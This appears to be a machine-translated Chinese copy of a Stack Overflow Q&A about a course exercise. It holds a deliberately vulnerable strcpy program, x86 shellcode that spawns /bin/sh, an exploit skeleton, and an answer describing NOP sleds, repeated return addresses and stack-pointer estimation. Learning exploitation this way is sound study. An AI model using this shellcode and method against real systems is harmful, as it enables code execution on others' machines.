故意缓冲区溢出漏洞利用程序

问题描述:

我试图找出这个问题,为我的一个比赛科学类,我利用每一个资源,仍然有问题,如果有人可以提供一些见解,我会非常感激。故意缓冲区溢出漏洞利用程序

我有这个“目标”,我需要执行一个execve(“/ bin/sh”)缓冲区溢出攻击。在buf [128]的溢出中,当执行不安全的命令strcpy时,返回到缓冲区的指针出现在系统期望找到返回地址的位置。

target.c

int bar(char *arg, char *out) 
{ 
strcpy(out,arg); 
return 0; 
} 

int foo(char *argv[]) 
{ 
char buf[128]; 
bar(argv[1], buf); 
} 

int main(int argc, char *argv[]) 
{ 
if (argc != 2) 
{ 
    fprintf(stderr, "target: argc != 2"); 
    exit(EXIT_FAILURE); 
} 
foo(argv); 
return 0; 
} 

exploit.c

#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char *args[3]; 
    char *env[1]; 

    args[0] = TARGET; args[1] = "hi there"; args[2] = NULL; 
    env[0] = NULL; 

    if (0 > execve(TARGET, args, env)) 
    fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

shellcode.h

static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

我明白我需要填写的argv [1]超过128个字节,则128字节以上的字节是返回地址,应该指向缓冲区,以便执行内部的/ bin/sh。到目前为止是否正确?有人可以提供下一步吗?

非常感谢您的帮助。

+2

堆栈溢出和缓冲区溢出是两个完全不同的东西。 – BoltClock 2010-10-05 03:29:32

+0

这是高度依赖于你的系统(编译器,CPU等),你没有打算指定任何。 – 2010-10-05 04:04:47

+0

我忍不住注意到你的shell代码是[在这里]找到的一个精确副本(http://insecure.org/stf/smashstack.html)。您应该仔细阅读本文,了解正在发生的事情,以便您可以实现自己的目标。在大学抄袭是严重的事情。 – Paul 2010-10-05 04:05:45

那么,你想让程序执行你的shellcode。它已经是机器形式,所以它已经准备好被系统执行。您已将其存储在缓冲区中。所以,问题是“系统知道如何执行我的代码?”更确切地说,“系统如何知道在哪里寻找下一个要执行的代码?”在这种情况下的答案是你正在谈论的返回地址。

基本上,你是在正确的轨道上。你尝试过执行代码吗?我在执行这种类型的攻击时注意到的一件事是它不是一门精确的科学。有时,内存中还有其他一些你不希望存在的东西,所以你必须增加你添加到缓冲区中的字节数,以便正确地将返回地址与系统期望的地址对齐。

我不是安全专家,但我可以告诉你一些可能有所帮助的事情。一个是我通常包含一个'NOP Sled' - 本质上只是一系列0x90字节,除了在处理器上执行'NOP'指令之外,其他任何事情都不做任何事情。另一个诀窍是在缓冲区末尾重复返回地址,以便即使其中一个覆盖堆栈中的返回地址,您也可以成功返回到您想要的位置。

所以,你的缓冲区将是这样的:

| NOP SLED | SHELLCODE |重复返回地址| (注:这些不是我的想法,我从黑客手中获得了这些:Jon Erickson的“剥削的艺术”,如果您有兴趣了解更多信息,我建议您阅读本书)。

要计算的地址,你可以使用类似于下面的内容:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer 

int main(int argc, char *argv[]) 
{ 
    int i, offset; 
    long esp, ret, *addr_ptr; 
    char* buffer; 

    offset = 0; 
    esp = sp(); 
    ret = esp - offset; 
} 

现在,RET将举行要返回到返回地址,假设你分配缓冲区是在堆上。

+0

非常好解释,非常感谢您花时间帮忙。 – CRO 2010-10-05 04:21:39

+0

我曾经是一名CSCI学生。我知道学习缓冲区溢出非常困难 - 当我参加计算机体系结构的第一门本科课程时,我实际上得到了类似的帮助。 :)只是希望我能帮上忙。 – jwir3 2010-10-05 04:29:33

+0

Altoe Jon Erickson的书很棒,我会推荐“The Shellcoders Handbook”。恕我直言,它更先进,它假定你已经知道一些东西(asm,C,OS的细节..) – jyz 2010-11-08 15:47:45